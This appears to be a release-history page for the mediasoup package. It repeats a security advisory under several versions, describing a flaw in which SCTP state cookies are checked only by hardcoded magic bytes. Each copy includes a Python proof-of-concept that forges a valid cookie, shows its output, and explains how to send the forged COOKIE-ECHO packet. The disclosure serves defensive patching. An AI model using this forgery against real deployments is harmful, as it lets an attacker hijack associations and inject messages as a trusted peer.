mediasoup

Version	Released
`0.33.0` minor	Oct 26, 2026
`0.32.0` minor	Oct 22, 2026
`0.31.0` minor	Oct 15, 2026
`0.30.0` minor	Oct 08, 2026
`0.29.0` minor	Oct 01, 2026
`0.28.1` patch	Sep 16, 2026
`0.28.0` minor	Sep 14, 2026
`0.27.0` minor	Aug 18, 2026
`0.26.0` minor	Aug 17, 2026
`0.25.2` patch	Aug 10, 2026
`0.25.1` patch	Aug 06, 2026
`0.25.0` minor	Aug 03, 2026
`0.24.3` patch	Jul 31, 2026
`0.24.2` patch	Jul 29, 2026
`0.24.1` patch	Jul 28, 2026
`0.24.0` minor	Jul 27, 2026
`0.23.0` minor	Jul 21, 2026
`0.22.12` patch	Jul 16, 2026
`0.22.11` patch	Jul 14, 2026
`0.22.10` patch	Jul 04, 2026
`0.22.9` patch	Jun 25, 2026
`0.22.8` patch	Jun 17, 2026
`0.22.7` patch	Jun 16, 2026
`0.22.6` patch	Jun 15, 2026
`0.22.5` patch	Jun 15, 2026
`0.22.4` patch 1 CVE	Jun 08, 2026
`0.22.3` patch 1 CVE	Jun 08, 2026
`0.22.2` patch 1 CVE	Jun 04, 2026
`0.22.1` patch 1 CVE	Jun 03, 2026
`0.22.0` minor 1 CVE	May 26, 2026
`0.21.0` minor	Apr 15, 2026
`0.20.0` minor	Aug 26, 2025
`0.19.1` patch	Aug 26, 2025
`0.19.0` minor	Jul 29, 2025
`0.18.2` patch	Jul 04, 2025
`0.18.1` patch	Apr 09, 2025
`0.18.0` minor	Mar 26, 2025
`0.17.2` patch yanked	Mar 21, 2025
`0.17.1` patch	Aug 12, 2024
`0.17.0` minor	May 10, 2024
`0.16.0` minor	Feb 05, 2024
`0.15.0` minor	Jan 01, 2024
`0.14.0` minor	Dec 18, 2023
`0.13.0` minor	Dec 04, 2023
`0.12.0` minor	Oct 27, 2023
`0.11.4` patch	Feb 15, 2023
`0.11.3` patch	Feb 01, 2023
`0.11.2` patch	Nov 06, 2022
`0.11.1` patch	Oct 21, 2022
`0.11.0` minor	Aug 29, 2022

0.33.0 minor

Oct 26, 2026

0.32.0 minor

Oct 22, 2026

0.31.0 minor

Oct 15, 2026

0.30.0 minor

Oct 08, 2026

0.29.0 minor

Oct 01, 2026

0.28.1 patch

Sep 16, 2026

0.28.0 minor

Sep 14, 2026

0.27.0 minor

Aug 18, 2026

0.26.0 minor

Aug 17, 2026

0.25.2 patch

Aug 10, 2026

0.25.1 patch

Aug 06, 2026

0.25.0 minor

Aug 03, 2026

0.24.3 patch

Jul 31, 2026

0.24.2 patch

Jul 29, 2026

0.24.1 patch

Jul 28, 2026

0.24.0 minor

Jul 27, 2026

0.23.0 minor

Jul 21, 2026

0.22.12 patch

Jul 16, 2026

0.22.11 patch

Jul 14, 2026

0.22.10 patch

Jul 04, 2026

0.22.9 patch

Jun 25, 2026

0.22.8 patch

Jun 17, 2026

0.22.7 patch

Jun 16, 2026

0.22.6 patch

Jun 15, 2026

0.22.5 patch

Jun 15, 2026

0.22.4 patch

1 CVE

CVE-2026-55663 GHSA-p7x2-g5cq-fhmq Aug 25, 2026

mediasoup: SCTP state cookie lacks cryptographic authentication, enabling unauthorized association establishment (RFC 9260 violation)

5.6 / 10

Medium

Network High None None Unchanged Low Low Low

Summary

mediasoup's built-in SCTP stack (introduced in v3.20.0) authenticates SCTP state cookies using only hardcoded magic byte sequences rather than a per-instance HMAC keyed with a secret, violating RFC 9260 Section 5.1.3. An on-path attacker targeting a PlainTransport with SCTP enabled (and no SRTP/DTLS protection) can craft a forged COOKIE-ECHO chunk that passes all validation, establishing an unauthorized SCTP association and gaining the ability to inject DataChannel messages as a trusted peer.

Details

RFC 9260 Section 5.1.3 states: "An endpoint MUST use a one-time-use secret key to protect the State Cookie." The mediasoup implementation ignores this requirement. The state cookie is defined in worker/include/RTC/SCTP/association/StateCookie.hpp with the following structure (44 bytes total):

Offset 0: Magic1 = "msworker" (hardcoded, 8 bytes)
Offset 8: localVerificationTag (4 bytes, attacker-controlled)
Offset 12: remoteVerificationTag (4 bytes, attacker-controlled)
Offset 16-27: TSN and window fields (attacker-controlled)
Offset 28: tieTag (8 bytes, attacker-controlled)
Offset 36: NegotiatedCapabilitiesField containing Magic2 = 0xAD81 (hardcoded)

The validation function StateCookie::IsMediasoupStateCookie() in worker/src/RTC/SCTP/association/StateCookie.cpp only checks:

bufferLength == 44
bytes[0:8] == "msworker" (Magic1, always the same)
ntohs(bytes[38:40]) == 0xAD81 (Magic2, always the same)

No HMAC, no per-session secret, no nonce. All "magic" values are published constants in the public header.

When a COOKIE-ECHO is received in Association::HandleReceivedCookieEchoChunk() (without an existing TCB), the sole security check is:

if (receivedPacket->GetVerificationTag() != cookie->GetLocalVerificationTag())

Because the attacker controls both the SCTP packet header's verification tag field AND the localVerificationTag field inside their crafted cookie, this check is trivially satisfied by setting both to the same attacker-chosen value.

Additionally, Association::ValidateReceivedPacket() explicitly skips verification-tag validation for COOKIE-ECHO packets (line 1153 in Association.cpp), and the SCTP CRC32c checksum function Packet::ValidateCRC32cChecksum() exists but is never called in the packet-reception path, so a forged packet with any checksum is accepted.

This vulnerability affects PlainTransport with SCTP enabled when used without SRTP (SRTP is optional via srtpCryptoSuite parameter). WebRtcTransport is NOT affected because its SCTP runs inside a DTLS session. comedia mode (default: false) increases exposure by accepting packets from any source IP.

PoC

Prerequisites: mediasoup server running with a PlainTransport that has SCTP enabled and no SRTP (srtpCryptoSuite not set). The server's UDP IP:port must be reachable.

The following Python script constructs and validates a forged SCTP state cookie that passes all mediasoup validation checks:

#!/usr/bin/env python3
"""
Proof-of-concept: mediasoup SCTP state cookie forgery
Demonstrates that IsMediasoupStateCookie() accepts a fully attacker-crafted cookie.
Requires: struct (stdlib only)

Usage: python3 poc_cookie_forge.py
"""
import struct

# Attacker-chosen values -- all arbitrary
LOCAL_VT  = 0xDEADBEEF  # Will be put in SCTP packet's Verification Tag field
REMOTE_VT = 0xCAFEBABE
LOCAL_TSN = 1000
REMOTE_TSN = 2000
RWND = 65535
TIE_TAG = 0

# Build a 44-byte state cookie matching mediasoup's StateCookie layout
cookie = bytearray(44)

# Offset 0: Magic1 = "msworker" (0x6D73776F726B6572)
cookie[0:8] = b'msworker'

# Offset 8: localVerificationTag (big-endian)
struct.pack_into('>I', cookie, 8, LOCAL_VT)

# Offset 12: remoteVerificationTag
struct.pack_into('>I', cookie, 12, REMOTE_VT)

# Offset 16: localInitialTsn
struct.pack_into('>I', cookie, 16, LOCAL_TSN)

# Offset 20: remoteInitialTsn
struct.pack_into('>I', cookie, 20, REMOTE_TSN)

# Offset 24: remoteAdvertisedReceiverWindowCredit
struct.pack_into('>I', cookie, 24, RWND)

# Offset 28: tieTag (8 bytes)
struct.pack_into('>Q', cookie, 28, TIE_TAG)

# Offset 36: NegotiatedCapabilitiesField
# [36]: reserved = 0
# [37]: bits (ABCD flags) = 0
# [38:40]: Magic2 = 0xAD81 (network byte order)
# [40:42]: max outbound streams
# [42:44]: max inbound streams
cookie[36] = 0       # reserved
cookie[37] = 0       # bits
struct.pack_into('>H', cookie, 38, 0xAD81)   # Magic2
struct.pack_into('>H', cookie, 40, 1024)      # maxOutboundStreams
struct.pack_into('>H', cookie, 42, 1024)      # maxInboundStreams

# Reproduce StateCookie::IsMediasoupStateCookie() logic:
def is_mediasoup_state_cookie(buf):
    if len(buf) != 44:
        return False
    if buf[0:8] != b'msworker':
        return False
    magic2 = struct.unpack('>H', buf[38:40])[0]
    if magic2 != 0xAD81:
        return False
    return True

assert is_mediasoup_state_cookie(cookie), "Cookie rejected - BUG in PoC"

# Reproduce HandleReceivedCookieEchoChunk validation (no TCB path):
# receivedPacket->GetVerificationTag() == cookie->GetLocalVerificationTag()
packet_vt    = LOCAL_VT
cookie_local_vt = struct.unpack('>I', cookie[8:12])[0]
auth_passes = (packet_vt == cookie_local_vt)

print("=== mediasoup SCTP State Cookie Forgery PoC ===")
print(f"Forged cookie (hex): {cookie.hex()}")
print(f"IsMediasoupStateCookie(): {is_mediasoup_state_cookie(cookie)}")
print(f"localVerificationTag in cookie: {cookie_local_vt:#010x}")
print(f"SCTP packet verificationTag:    {packet_vt:#010x}")
print(f"HandleReceivedCookieEchoChunk auth check passes: {auth_passes}")
print()
print("Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake")
print("Next step: attacker sends DATA chunks to inject DataChannel messages")

Observed output when run:

=== mediasoup SCTP State Cookie Forgery PoC ===
Forged cookie (hex): 6d73776f726b6572deadbeefcafebabe000003e8000007d00000ffff00000000000000000000ad8104000400
IsMediasoupStateCookie(): True
localVerificationTag in cookie: 0xdeadbeef
SCTP packet verificationTag:    0xdeadbeef
HandleReceivedCookieEchoChunk auth check passes: True

Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake
Next step: attacker sends DATA chunks to inject DataChannel messages

To forge the full SCTP packet on the network: wrap the 44-byte cookie in a COOKIE-ECHO chunk (type=0x0A), set the SCTP common header's Verification Tag to LOCAL_VT, compute a valid CRC32c checksum (or any value - the checksum is never verified on receive), and send the UDP packet from the permitted source address (or any source if comedia=true).

Impact

Any mediasoup deployment using PlainTransport with SCTP enabled and no SRTP is affected when an attacker occupies a network position where they can send UDP packets from the transport's configured peer address (or when comedia mode is enabled). The attacker can skip the standard SCTP 4-way handshake entirely and directly send a forged COOKIE-ECHO to establish an association, then inject arbitrary DataChannel messages as if they were the trusted peer. This can cause data integrity violations in server-to-server SCTP channels (e.g., SFU interconnects) or enable denial of service by preempting the legitimate peer's association.

Fixed in


          0.22.5

References

Updated Aug 26, 2026 · Source: OSV.dev

Jun 08, 2026

0.22.3 patch

1 CVE

CVE-2026-55663 GHSA-p7x2-g5cq-fhmq Aug 25, 2026

mediasoup: SCTP state cookie lacks cryptographic authentication, enabling unauthorized association establishment (RFC 9260 violation)

5.6 / 10

Medium

Network High None None Unchanged Low Low Low

Summary

mediasoup's built-in SCTP stack (introduced in v3.20.0) authenticates SCTP state cookies using only hardcoded magic byte sequences rather than a per-instance HMAC keyed with a secret, violating RFC 9260 Section 5.1.3. An on-path attacker targeting a PlainTransport with SCTP enabled (and no SRTP/DTLS protection) can craft a forged COOKIE-ECHO chunk that passes all validation, establishing an unauthorized SCTP association and gaining the ability to inject DataChannel messages as a trusted peer.

Details

RFC 9260 Section 5.1.3 states: "An endpoint MUST use a one-time-use secret key to protect the State Cookie." The mediasoup implementation ignores this requirement. The state cookie is defined in worker/include/RTC/SCTP/association/StateCookie.hpp with the following structure (44 bytes total):

Offset 0: Magic1 = "msworker" (hardcoded, 8 bytes)
Offset 8: localVerificationTag (4 bytes, attacker-controlled)
Offset 12: remoteVerificationTag (4 bytes, attacker-controlled)
Offset 16-27: TSN and window fields (attacker-controlled)
Offset 28: tieTag (8 bytes, attacker-controlled)
Offset 36: NegotiatedCapabilitiesField containing Magic2 = 0xAD81 (hardcoded)

The validation function StateCookie::IsMediasoupStateCookie() in worker/src/RTC/SCTP/association/StateCookie.cpp only checks:

bufferLength == 44
bytes[0:8] == "msworker" (Magic1, always the same)
ntohs(bytes[38:40]) == 0xAD81 (Magic2, always the same)

No HMAC, no per-session secret, no nonce. All "magic" values are published constants in the public header.

When a COOKIE-ECHO is received in Association::HandleReceivedCookieEchoChunk() (without an existing TCB), the sole security check is:

if (receivedPacket->GetVerificationTag() != cookie->GetLocalVerificationTag())

Because the attacker controls both the SCTP packet header's verification tag field AND the localVerificationTag field inside their crafted cookie, this check is trivially satisfied by setting both to the same attacker-chosen value.

Additionally, Association::ValidateReceivedPacket() explicitly skips verification-tag validation for COOKIE-ECHO packets (line 1153 in Association.cpp), and the SCTP CRC32c checksum function Packet::ValidateCRC32cChecksum() exists but is never called in the packet-reception path, so a forged packet with any checksum is accepted.

This vulnerability affects PlainTransport with SCTP enabled when used without SRTP (SRTP is optional via srtpCryptoSuite parameter). WebRtcTransport is NOT affected because its SCTP runs inside a DTLS session. comedia mode (default: false) increases exposure by accepting packets from any source IP.

PoC

Prerequisites: mediasoup server running with a PlainTransport that has SCTP enabled and no SRTP (srtpCryptoSuite not set). The server's UDP IP:port must be reachable.

The following Python script constructs and validates a forged SCTP state cookie that passes all mediasoup validation checks:

#!/usr/bin/env python3
"""
Proof-of-concept: mediasoup SCTP state cookie forgery
Demonstrates that IsMediasoupStateCookie() accepts a fully attacker-crafted cookie.
Requires: struct (stdlib only)

Usage: python3 poc_cookie_forge.py
"""
import struct

# Attacker-chosen values -- all arbitrary
LOCAL_VT  = 0xDEADBEEF  # Will be put in SCTP packet's Verification Tag field
REMOTE_VT = 0xCAFEBABE
LOCAL_TSN = 1000
REMOTE_TSN = 2000
RWND = 65535
TIE_TAG = 0

# Build a 44-byte state cookie matching mediasoup's StateCookie layout
cookie = bytearray(44)

# Offset 0: Magic1 = "msworker" (0x6D73776F726B6572)
cookie[0:8] = b'msworker'

# Offset 8: localVerificationTag (big-endian)
struct.pack_into('>I', cookie, 8, LOCAL_VT)

# Offset 12: remoteVerificationTag
struct.pack_into('>I', cookie, 12, REMOTE_VT)

# Offset 16: localInitialTsn
struct.pack_into('>I', cookie, 16, LOCAL_TSN)

# Offset 20: remoteInitialTsn
struct.pack_into('>I', cookie, 20, REMOTE_TSN)

# Offset 24: remoteAdvertisedReceiverWindowCredit
struct.pack_into('>I', cookie, 24, RWND)

# Offset 28: tieTag (8 bytes)
struct.pack_into('>Q', cookie, 28, TIE_TAG)

# Offset 36: NegotiatedCapabilitiesField
# [36]: reserved = 0
# [37]: bits (ABCD flags) = 0
# [38:40]: Magic2 = 0xAD81 (network byte order)
# [40:42]: max outbound streams
# [42:44]: max inbound streams
cookie[36] = 0       # reserved
cookie[37] = 0       # bits
struct.pack_into('>H', cookie, 38, 0xAD81)   # Magic2
struct.pack_into('>H', cookie, 40, 1024)      # maxOutboundStreams
struct.pack_into('>H', cookie, 42, 1024)      # maxInboundStreams

# Reproduce StateCookie::IsMediasoupStateCookie() logic:
def is_mediasoup_state_cookie(buf):
    if len(buf) != 44:
        return False
    if buf[0:8] != b'msworker':
        return False
    magic2 = struct.unpack('>H', buf[38:40])[0]
    if magic2 != 0xAD81:
        return False
    return True

assert is_mediasoup_state_cookie(cookie), "Cookie rejected - BUG in PoC"

# Reproduce HandleReceivedCookieEchoChunk validation (no TCB path):
# receivedPacket->GetVerificationTag() == cookie->GetLocalVerificationTag()
packet_vt    = LOCAL_VT
cookie_local_vt = struct.unpack('>I', cookie[8:12])[0]
auth_passes = (packet_vt == cookie_local_vt)

print("=== mediasoup SCTP State Cookie Forgery PoC ===")
print(f"Forged cookie (hex): {cookie.hex()}")
print(f"IsMediasoupStateCookie(): {is_mediasoup_state_cookie(cookie)}")
print(f"localVerificationTag in cookie: {cookie_local_vt:#010x}")
print(f"SCTP packet verificationTag:    {packet_vt:#010x}")
print(f"HandleReceivedCookieEchoChunk auth check passes: {auth_passes}")
print()
print("Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake")
print("Next step: attacker sends DATA chunks to inject DataChannel messages")

Observed output when run:

=== mediasoup SCTP State Cookie Forgery PoC ===
Forged cookie (hex): 6d73776f726b6572deadbeefcafebabe000003e8000007d00000ffff00000000000000000000ad8104000400
IsMediasoupStateCookie(): True
localVerificationTag in cookie: 0xdeadbeef
SCTP packet verificationTag:    0xdeadbeef
HandleReceivedCookieEchoChunk auth check passes: True

Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake
Next step: attacker sends DATA chunks to inject DataChannel messages

To forge the full SCTP packet on the network: wrap the 44-byte cookie in a COOKIE-ECHO chunk (type=0x0A), set the SCTP common header's Verification Tag to LOCAL_VT, compute a valid CRC32c checksum (or any value - the checksum is never verified on receive), and send the UDP packet from the permitted source address (or any source if comedia=true).

Impact

Any mediasoup deployment using PlainTransport with SCTP enabled and no SRTP is affected when an attacker occupies a network position where they can send UDP packets from the transport's configured peer address (or when comedia mode is enabled). The attacker can skip the standard SCTP 4-way handshake entirely and directly send a forged COOKIE-ECHO to establish an association, then inject arbitrary DataChannel messages as if they were the trusted peer. This can cause data integrity violations in server-to-server SCTP channels (e.g., SFU interconnects) or enable denial of service by preempting the legitimate peer's association.

Fixed in


          0.22.5

References

Updated Aug 26, 2026 · Source: OSV.dev

Jun 08, 2026

0.22.2 patch

1 CVE

CVE-2026-55663 GHSA-p7x2-g5cq-fhmq Aug 25, 2026

mediasoup: SCTP state cookie lacks cryptographic authentication, enabling unauthorized association establishment (RFC 9260 violation)

5.6 / 10

Medium

Network High None None Unchanged Low Low Low

Summary

mediasoup's built-in SCTP stack (introduced in v3.20.0) authenticates SCTP state cookies using only hardcoded magic byte sequences rather than a per-instance HMAC keyed with a secret, violating RFC 9260 Section 5.1.3. An on-path attacker targeting a PlainTransport with SCTP enabled (and no SRTP/DTLS protection) can craft a forged COOKIE-ECHO chunk that passes all validation, establishing an unauthorized SCTP association and gaining the ability to inject DataChannel messages as a trusted peer.

Details

RFC 9260 Section 5.1.3 states: "An endpoint MUST use a one-time-use secret key to protect the State Cookie." The mediasoup implementation ignores this requirement. The state cookie is defined in worker/include/RTC/SCTP/association/StateCookie.hpp with the following structure (44 bytes total):

Offset 0: Magic1 = "msworker" (hardcoded, 8 bytes)
Offset 8: localVerificationTag (4 bytes, attacker-controlled)
Offset 12: remoteVerificationTag (4 bytes, attacker-controlled)
Offset 16-27: TSN and window fields (attacker-controlled)
Offset 28: tieTag (8 bytes, attacker-controlled)
Offset 36: NegotiatedCapabilitiesField containing Magic2 = 0xAD81 (hardcoded)

The validation function StateCookie::IsMediasoupStateCookie() in worker/src/RTC/SCTP/association/StateCookie.cpp only checks:

bufferLength == 44
bytes[0:8] == "msworker" (Magic1, always the same)
ntohs(bytes[38:40]) == 0xAD81 (Magic2, always the same)

No HMAC, no per-session secret, no nonce. All "magic" values are published constants in the public header.

When a COOKIE-ECHO is received in Association::HandleReceivedCookieEchoChunk() (without an existing TCB), the sole security check is:

if (receivedPacket->GetVerificationTag() != cookie->GetLocalVerificationTag())

Because the attacker controls both the SCTP packet header's verification tag field AND the localVerificationTag field inside their crafted cookie, this check is trivially satisfied by setting both to the same attacker-chosen value.

Additionally, Association::ValidateReceivedPacket() explicitly skips verification-tag validation for COOKIE-ECHO packets (line 1153 in Association.cpp), and the SCTP CRC32c checksum function Packet::ValidateCRC32cChecksum() exists but is never called in the packet-reception path, so a forged packet with any checksum is accepted.

This vulnerability affects PlainTransport with SCTP enabled when used without SRTP (SRTP is optional via srtpCryptoSuite parameter). WebRtcTransport is NOT affected because its SCTP runs inside a DTLS session. comedia mode (default: false) increases exposure by accepting packets from any source IP.

PoC

Prerequisites: mediasoup server running with a PlainTransport that has SCTP enabled and no SRTP (srtpCryptoSuite not set). The server's UDP IP:port must be reachable.

The following Python script constructs and validates a forged SCTP state cookie that passes all mediasoup validation checks:

#!/usr/bin/env python3
"""
Proof-of-concept: mediasoup SCTP state cookie forgery
Demonstrates that IsMediasoupStateCookie() accepts a fully attacker-crafted cookie.
Requires: struct (stdlib only)

Usage: python3 poc_cookie_forge.py
"""
import struct

# Attacker-chosen values -- all arbitrary
LOCAL_VT  = 0xDEADBEEF  # Will be put in SCTP packet's Verification Tag field
REMOTE_VT = 0xCAFEBABE
LOCAL_TSN = 1000
REMOTE_TSN = 2000
RWND = 65535
TIE_TAG = 0

# Build a 44-byte state cookie matching mediasoup's StateCookie layout
cookie = bytearray(44)

# Offset 0: Magic1 = "msworker" (0x6D73776F726B6572)
cookie[0:8] = b'msworker'

# Offset 8: localVerificationTag (big-endian)
struct.pack_into('>I', cookie, 8, LOCAL_VT)

# Offset 12: remoteVerificationTag
struct.pack_into('>I', cookie, 12, REMOTE_VT)

# Offset 16: localInitialTsn
struct.pack_into('>I', cookie, 16, LOCAL_TSN)

# Offset 20: remoteInitialTsn
struct.pack_into('>I', cookie, 20, REMOTE_TSN)

# Offset 24: remoteAdvertisedReceiverWindowCredit
struct.pack_into('>I', cookie, 24, RWND)

# Offset 28: tieTag (8 bytes)
struct.pack_into('>Q', cookie, 28, TIE_TAG)

# Offset 36: NegotiatedCapabilitiesField
# [36]: reserved = 0
# [37]: bits (ABCD flags) = 0
# [38:40]: Magic2 = 0xAD81 (network byte order)
# [40:42]: max outbound streams
# [42:44]: max inbound streams
cookie[36] = 0       # reserved
cookie[37] = 0       # bits
struct.pack_into('>H', cookie, 38, 0xAD81)   # Magic2
struct.pack_into('>H', cookie, 40, 1024)      # maxOutboundStreams
struct.pack_into('>H', cookie, 42, 1024)      # maxInboundStreams

# Reproduce StateCookie::IsMediasoupStateCookie() logic:
def is_mediasoup_state_cookie(buf):
    if len(buf) != 44:
        return False
    if buf[0:8] != b'msworker':
        return False
    magic2 = struct.unpack('>H', buf[38:40])[0]
    if magic2 != 0xAD81:
        return False
    return True

assert is_mediasoup_state_cookie(cookie), "Cookie rejected - BUG in PoC"

# Reproduce HandleReceivedCookieEchoChunk validation (no TCB path):
# receivedPacket->GetVerificationTag() == cookie->GetLocalVerificationTag()
packet_vt    = LOCAL_VT
cookie_local_vt = struct.unpack('>I', cookie[8:12])[0]
auth_passes = (packet_vt == cookie_local_vt)

print("=== mediasoup SCTP State Cookie Forgery PoC ===")
print(f"Forged cookie (hex): {cookie.hex()}")
print(f"IsMediasoupStateCookie(): {is_mediasoup_state_cookie(cookie)}")
print(f"localVerificationTag in cookie: {cookie_local_vt:#010x}")
print(f"SCTP packet verificationTag:    {packet_vt:#010x}")
print(f"HandleReceivedCookieEchoChunk auth check passes: {auth_passes}")
print()
print("Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake")
print("Next step: attacker sends DATA chunks to inject DataChannel messages")

Observed output when run:

=== mediasoup SCTP State Cookie Forgery PoC ===
Forged cookie (hex): 6d73776f726b6572deadbeefcafebabe000003e8000007d00000ffff00000000000000000000ad8104000400
IsMediasoupStateCookie(): True
localVerificationTag in cookie: 0xdeadbeef
SCTP packet verificationTag:    0xdeadbeef
HandleReceivedCookieEchoChunk auth check passes: True

Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake
Next step: attacker sends DATA chunks to inject DataChannel messages

To forge the full SCTP packet on the network: wrap the 44-byte cookie in a COOKIE-ECHO chunk (type=0x0A), set the SCTP common header's Verification Tag to LOCAL_VT, compute a valid CRC32c checksum (or any value - the checksum is never verified on receive), and send the UDP packet from the permitted source address (or any source if comedia=true).

Impact

Any mediasoup deployment using PlainTransport with SCTP enabled and no SRTP is affected when an attacker occupies a network position where they can send UDP packets from the transport's configured peer address (or when comedia mode is enabled). The attacker can skip the standard SCTP 4-way handshake entirely and directly send a forged COOKIE-ECHO to establish an association, then inject arbitrary DataChannel messages as if they were the trusted peer. This can cause data integrity violations in server-to-server SCTP channels (e.g., SFU interconnects) or enable denial of service by preempting the legitimate peer's association.

Fixed in


          0.22.5

References

Updated Aug 26, 2026 · Source: OSV.dev

Jun 04, 2026

0.22.1 patch

1 CVE

CVE-2026-55663 GHSA-p7x2-g5cq-fhmq Aug 25, 2026

mediasoup: SCTP state cookie lacks cryptographic authentication, enabling unauthorized association establishment (RFC 9260 violation)

5.6 / 10

Medium

Network High None None Unchanged Low Low Low

Summary

mediasoup's built-in SCTP stack (introduced in v3.20.0) authenticates SCTP state cookies using only hardcoded magic byte sequences rather than a per-instance HMAC keyed with a secret, violating RFC 9260 Section 5.1.3. An on-path attacker targeting a PlainTransport with SCTP enabled (and no SRTP/DTLS protection) can craft a forged COOKIE-ECHO chunk that passes all validation, establishing an unauthorized SCTP association and gaining the ability to inject DataChannel messages as a trusted peer.

Details

RFC 9260 Section 5.1.3 states: "An endpoint MUST use a one-time-use secret key to protect the State Cookie." The mediasoup implementation ignores this requirement. The state cookie is defined in worker/include/RTC/SCTP/association/StateCookie.hpp with the following structure (44 bytes total):

Offset 0: Magic1 = "msworker" (hardcoded, 8 bytes)
Offset 8: localVerificationTag (4 bytes, attacker-controlled)
Offset 12: remoteVerificationTag (4 bytes, attacker-controlled)
Offset 16-27: TSN and window fields (attacker-controlled)
Offset 28: tieTag (8 bytes, attacker-controlled)
Offset 36: NegotiatedCapabilitiesField containing Magic2 = 0xAD81 (hardcoded)

The validation function StateCookie::IsMediasoupStateCookie() in worker/src/RTC/SCTP/association/StateCookie.cpp only checks:

bufferLength == 44
bytes[0:8] == "msworker" (Magic1, always the same)
ntohs(bytes[38:40]) == 0xAD81 (Magic2, always the same)

No HMAC, no per-session secret, no nonce. All "magic" values are published constants in the public header.

When a COOKIE-ECHO is received in Association::HandleReceivedCookieEchoChunk() (without an existing TCB), the sole security check is:

if (receivedPacket->GetVerificationTag() != cookie->GetLocalVerificationTag())

Because the attacker controls both the SCTP packet header's verification tag field AND the localVerificationTag field inside their crafted cookie, this check is trivially satisfied by setting both to the same attacker-chosen value.

Additionally, Association::ValidateReceivedPacket() explicitly skips verification-tag validation for COOKIE-ECHO packets (line 1153 in Association.cpp), and the SCTP CRC32c checksum function Packet::ValidateCRC32cChecksum() exists but is never called in the packet-reception path, so a forged packet with any checksum is accepted.

This vulnerability affects PlainTransport with SCTP enabled when used without SRTP (SRTP is optional via srtpCryptoSuite parameter). WebRtcTransport is NOT affected because its SCTP runs inside a DTLS session. comedia mode (default: false) increases exposure by accepting packets from any source IP.

PoC

Prerequisites: mediasoup server running with a PlainTransport that has SCTP enabled and no SRTP (srtpCryptoSuite not set). The server's UDP IP:port must be reachable.

The following Python script constructs and validates a forged SCTP state cookie that passes all mediasoup validation checks:

#!/usr/bin/env python3
"""
Proof-of-concept: mediasoup SCTP state cookie forgery
Demonstrates that IsMediasoupStateCookie() accepts a fully attacker-crafted cookie.
Requires: struct (stdlib only)

Usage: python3 poc_cookie_forge.py
"""
import struct

# Attacker-chosen values -- all arbitrary
LOCAL_VT  = 0xDEADBEEF  # Will be put in SCTP packet's Verification Tag field
REMOTE_VT = 0xCAFEBABE
LOCAL_TSN = 1000
REMOTE_TSN = 2000
RWND = 65535
TIE_TAG = 0

# Build a 44-byte state cookie matching mediasoup's StateCookie layout
cookie = bytearray(44)

# Offset 0: Magic1 = "msworker" (0x6D73776F726B6572)
cookie[0:8] = b'msworker'

# Offset 8: localVerificationTag (big-endian)
struct.pack_into('>I', cookie, 8, LOCAL_VT)

# Offset 12: remoteVerificationTag
struct.pack_into('>I', cookie, 12, REMOTE_VT)

# Offset 16: localInitialTsn
struct.pack_into('>I', cookie, 16, LOCAL_TSN)

# Offset 20: remoteInitialTsn
struct.pack_into('>I', cookie, 20, REMOTE_TSN)

# Offset 24: remoteAdvertisedReceiverWindowCredit
struct.pack_into('>I', cookie, 24, RWND)

# Offset 28: tieTag (8 bytes)
struct.pack_into('>Q', cookie, 28, TIE_TAG)

# Offset 36: NegotiatedCapabilitiesField
# [36]: reserved = 0
# [37]: bits (ABCD flags) = 0
# [38:40]: Magic2 = 0xAD81 (network byte order)
# [40:42]: max outbound streams
# [42:44]: max inbound streams
cookie[36] = 0       # reserved
cookie[37] = 0       # bits
struct.pack_into('>H', cookie, 38, 0xAD81)   # Magic2
struct.pack_into('>H', cookie, 40, 1024)      # maxOutboundStreams
struct.pack_into('>H', cookie, 42, 1024)      # maxInboundStreams

# Reproduce StateCookie::IsMediasoupStateCookie() logic:
def is_mediasoup_state_cookie(buf):
    if len(buf) != 44:
        return False
    if buf[0:8] != b'msworker':
        return False
    magic2 = struct.unpack('>H', buf[38:40])[0]
    if magic2 != 0xAD81:
        return False
    return True

assert is_mediasoup_state_cookie(cookie), "Cookie rejected - BUG in PoC"

# Reproduce HandleReceivedCookieEchoChunk validation (no TCB path):
# receivedPacket->GetVerificationTag() == cookie->GetLocalVerificationTag()
packet_vt    = LOCAL_VT
cookie_local_vt = struct.unpack('>I', cookie[8:12])[0]
auth_passes = (packet_vt == cookie_local_vt)

print("=== mediasoup SCTP State Cookie Forgery PoC ===")
print(f"Forged cookie (hex): {cookie.hex()}")
print(f"IsMediasoupStateCookie(): {is_mediasoup_state_cookie(cookie)}")
print(f"localVerificationTag in cookie: {cookie_local_vt:#010x}")
print(f"SCTP packet verificationTag:    {packet_vt:#010x}")
print(f"HandleReceivedCookieEchoChunk auth check passes: {auth_passes}")
print()
print("Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake")
print("Next step: attacker sends DATA chunks to inject DataChannel messages")

Observed output when run:

=== mediasoup SCTP State Cookie Forgery PoC ===
Forged cookie (hex): 6d73776f726b6572deadbeefcafebabe000003e8000007d00000ffff00000000000000000000ad8104000400
IsMediasoupStateCookie(): True
localVerificationTag in cookie: 0xdeadbeef
SCTP packet verificationTag:    0xdeadbeef
HandleReceivedCookieEchoChunk auth check passes: True

Result: COOKIE-ECHO accepted -> SCTP association ESTABLISHED without 4-way handshake
Next step: attacker sends DATA chunks to inject DataChannel messages

To forge the full SCTP packet on the network: wrap the 44-byte cookie in a COOKIE-ECHO chunk (type=0x0A), set the SCTP common header's Verification Tag to LOCAL_VT, compute a valid CRC32c checksum (or any value - the checksum is never verified on receive), and send the UDP packet from the permitted source address (or any source if comedia=true).

Impact

Any mediasoup deployment using PlainTransport with SCTP enabled and no SRTP is affected when an attacker occupies a network position where they can send UDP packets from the transport's configured peer address (or when comedia mode is enabled). The attacker can skip the standard SCTP 4-way handshake entirely and directly send a forged COOKIE-ECHO to establish an association, then inject arbitrary DataChannel messages as if they were the trusted peer. This can cause data integrity violations in server-to-server SCTP channels (e.g., SFU interconnects) or enable denial of service by preempting the legitimate peer's association.

Fixed in


          0.22.5

References

Updated Aug 26, 2026 · Source: OSV.dev

Jun 03, 2026

0.22.0 minor

1 CVE

CVE-2026-55663 GHSA-p7x2-g5cq-fhmq Aug 25, 2026

